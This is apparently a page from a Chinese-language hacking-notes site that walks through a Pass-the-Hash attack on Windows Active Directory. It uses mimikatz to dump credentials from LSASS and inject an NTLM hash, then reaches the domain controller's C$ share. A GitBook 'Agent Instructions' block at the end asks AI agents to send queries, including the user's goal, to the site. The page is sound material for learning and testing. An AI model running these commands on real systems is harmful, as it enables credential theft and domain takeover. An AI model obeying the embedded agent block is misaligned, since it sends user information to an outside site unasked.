> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/pass-the-hash-on-windows.md).
# 在 Windows 上进行 Pass-the-Hash
针对在 Windows 上进行 Pass-the-Hash 的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。
如果一台机器使用 IP 而不是主机名连接到 SMB 共享，身份验证通常会通过 NTLM 进行。
示例：
```powershell
dir //172.16.0.10/c$
```
{% hint style="info" %}
NTLM（NT LAN Manager）是微软开发的一套安全协议。它主要允许用户在计算机网络上进行身份验证，也就是说，当用户尝试访问计算机、服务器或共享文件夹时，用于验证其身份。NTLM 通过在用户和服务器之间交换加密信息来工作，以避免直接在网络上传输密码。尽管它长期以来一直在 Windows 环境中使用，但如今该协议正逐步被 Kerberos 取代，后者被认为更安全、也更高效。
{% endhint %}
从 `WS01`，我们可以看到，访问取决于已加载到内存中的上下文。
在这里，不会请求新的身份验证，因为该进程会重用已经存在于 `LSASS`.
```bash
dir //172.16.0.10/c$
```
然后，我们可以注入另一个账户的 NTLM 哈希，例如 `administrador`.
```bash
./mimikatz.exe
sekurlsa::logonpasswords
```
通过 `mimikatz`，我们正在发起一次哈希传递攻击。
```bash
sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```
一个新的控制台会以该账户的上下文打开。
然后，我们就可以使用这个身份访问域控制器的资源。
```powershell
dir //172.16.0.100/c$
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/pass-the-hash-on-windows.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)